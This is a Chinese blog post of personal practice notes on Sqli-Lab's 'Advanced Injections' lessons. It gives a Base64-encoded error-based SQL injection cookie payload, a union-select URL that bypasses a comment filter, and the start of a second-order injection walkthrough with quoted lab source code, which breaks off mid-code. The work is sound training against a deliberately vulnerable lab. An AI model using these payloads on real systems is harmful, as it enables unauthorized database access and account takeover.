Sqli-Lab第二部分(Advanced Injections)练习记录(非讲解,个人记录用)

本文记录了Sqli-Lab的Advanced Injections部分,包括Cookie Injection的各种技巧,如Base64编码、注释符绕过、二次注入、WAF-bypass等,详细阐述了如何通过SQL注入修改任意用户密码、利用布尔盲注和错误注入绕过WAF保护。
摘要由CSDN通过智能技术生成

Cookie Injection

21. Base64-encoded

payload:

uname=LTEnKSBvciB1cGRhdGV4bWwoMCwgY29uY2F0KDB4NWMsIChzZWxlY3QgZGF0YWJhc2UoKSkpLCAxKSM=

只是将payload做了一个base64编码

22. 同上,只是单引号闭合换成双引号闭合

23. Strip comments

这题的题目意思没看太明白,不过注入过程发现是过滤了 #,-- 这两种注释的字符,因此只能使用引号闭合,payload如下:

http://192.168.235.128:8080/Less-23/?id=-1' union select 1,database(),3 or '1'='1

24. 二次注入(重点介绍)

首先,需要明确前置条件存在另一处操作直接调用输入数据而不做其他处理。

以本题为例,先尝试用admin/1登陆
在这里插入图片描述
可以看到这里有个修改密码点,而修改密码常用sql语句如下:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里存在调用username的点,而在主页的新建用户处可以构造username,因此可能存在可以利用的点。

接下来我们分别看一下注册页面的源码以及修改密码页面的源码。

注册页面源码:

主要着眼于一下两段代码

//$username=  $_POST['username'] ;
$username = mysqli_real_escape_string($con1, $_POST['username']) ;
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);

echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";
mysqli_query
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值